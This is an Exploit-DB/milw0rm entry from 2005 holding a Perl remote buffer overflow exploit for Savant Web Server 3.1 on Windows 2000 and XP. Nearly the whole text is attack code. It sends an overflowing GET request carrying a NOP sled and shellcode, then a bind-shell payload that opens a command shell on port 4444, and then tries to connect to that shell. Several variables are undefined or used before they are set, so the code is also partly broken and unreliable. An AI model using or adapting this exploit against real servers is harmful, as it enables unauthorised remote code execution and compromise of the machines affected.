Savant Web Server 3.1 - Remote Buffer Overflow (2)

EDB-ID:

1184

Author:

basher13

Type:

remote

Platform:

Windows

Published:

2005-08-30

#!/usr/local/bin/perl
#
#   Savant Buffer Overflow Exploit
# ----------------------------------
# Infam0us Gr0up - Securiti Research
#
#
# Tested on Windows2000 SP4 (Win NT)
# Info: infamous.2hell.com
# Vendor URL: http://savant.sourceforge.net
#


$ARGC=@ARGV;
if ($ARGC !=3) {
    print "\nUsage: $0 [remote IP] [Port]\n";
    print "Example: $0 127.0.0.1 80 1\n";
    print "\nsystem:\n";
    print " 1 - Windows 2000 SP4\n";
    print " 2 - winXP sp1\n";
    print "\n";
    exit;
}
use Socket;

$x90 = "\x90"x13;
$pack_ret = pack('l', ($ret));

if($sistem==1){$ret = 0x77e14c29;} # Windows 2000 SP4
if($sistem==2){$ret = 0x77fb59cc;} # winXP sp1

my($remote,$port,$iaddr,$paddr,$proto);
$remote=$ARGV[0];
$port =$ARGV[1];
$sistem = $ARGV[2];
print "\n";
print "[+] Connect to $remote..\n";
$iaddr = inet_aton($remote) or die "[-] Error: $!";
$paddr = sockaddr_in($port, $iaddr) or die "[-] Error: $!";
$proto = getprotobyname('tcp') or die "[-] Error: $!";

socket(SOCK, PF_INET, SOCK_STREAM, $proto) or die "[-] Error: $!";
connect(SOCK, $paddr) or die "[-] Error: $!";

print "[+] Connected\n";
print "[+] Build shellcode..\n";

my $shellcode =
"\x2b\xc9\x83\xe9\xb8\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x94".
"\xd3\x48\xef\x83\xeb\xfc\xe2\xf4\x68\xb9\xa3\xa2\x7c\x2a\xb7\x10".
"\x6b\xb3\xc3\x83\xb0\xf7\xc3\xaa\xa8\x58\x34\xea\xec\xd2\xa7\x64".
"\xdb\xcb\xc3\xb0\xb4\xd2\xa3\xa6\x1f\xe7\xc3\xee\x7a\xe2\x88\x76".
"\x38\x57\x88\x9b\x93\x12\x82\xe2\x95\x11\xa3\x1b\xaf\x87\x6c\xc7".
"\xe1\x36\xc3\xb0\xb0\xd2\xa3\x89\x1f\xdf\x03\x64\xcb\xcf\x49\x04".
"\x97\xff\xc3\x66\xf8\xf7\x54\x8e\x57\xe2\x93\x8b\x1f\x90\x78\x64".
"\xd4\xdf\xc3\x9f\x88\x7e\xc3\xaf\x9c\x8d\x20\x61\xda\xdd\xa4\xbf".
"\x6b\x05\x2e\xbc\xf2\xbb\x7b\xdd\xfc\xa4\x3b\xdd\xcb\x87\xb7\x3f".
"\xfc\x18\xa5\x13\xaf\x83\xb7\x39\xcb\x5a\xad\x89\x15\x3e\x40\xed".
"\xc1\xb9\x4a\x10\x44\xbb\x91\xe6\x61\x7e\x1f\x10\x42\x80\x1b\xbc".
"\xc7\x90\x1b\xac\xc7\x2c\x98\x87\xeb\xd3\x48\xee\xf2\xbb\x4f\x53".
"\xf2\x80\xc1\x0e\x01\xbb\xa4\x16\x3e\xb3\x1f\x10\x42\xb9\x58\xbe".
"\xc1\x2c\x98\x89\xfe\xb7\x2e\x87\xf7\xbe\x22\xbf\xcd\xfa\x84\x66".
"\x73\xb9\x0c\x66\x76\xe2\x88\x1c\x3e\x46\xc1\x12\x6a\x91\x65\x11";

# If Savant can serve HTTP requests with a server socket to receive the requests,
# the Savant server will keep online when this error occurs.
# Most often, this can by try to simultaneously run two web servers.
# Also this could Allows attacker to bind a port

$sploit =
"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45".
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49".
"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d".
"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66".
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61".
"\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40".
"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32".
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6".
"\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09".
"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0".
"\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff".
"\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53".
"\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff".
"\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64".
"\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89".
"\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab".
"\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51".
"\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53".
"\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6".
"\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0";

$all = $x90.$shellcode;
$get = "GET /$x90.$shellcode.$sp4 \r\n\n";
$shell = $pack_ret.$sploit.$x90;
print "[+] Sending overflOw..\n";
send(SOCK, $get, 0) or die "[-] Failed query: $!";
sleep(1);
print "[+] Server Overflow!\n";
print "[+] Send SplOit..\n";
send(SOCK, $shell, 0) or die "[-] Failed query: $!";
sleep(1);
print "[+] Granted!\n";
close(SOCK);
print "[~] Trying connect $remote port 4444\n";
$socket=IO::Socket::INET->new( PeerAddr => $server, PeerPort => "4444", Photo => tcp)
|| die "[-] FAILED ...\n";
close($socket);
print "[+] PWNED rulz port 4444 ...\n";
exit;

// milw0rm.com [2005-08-30]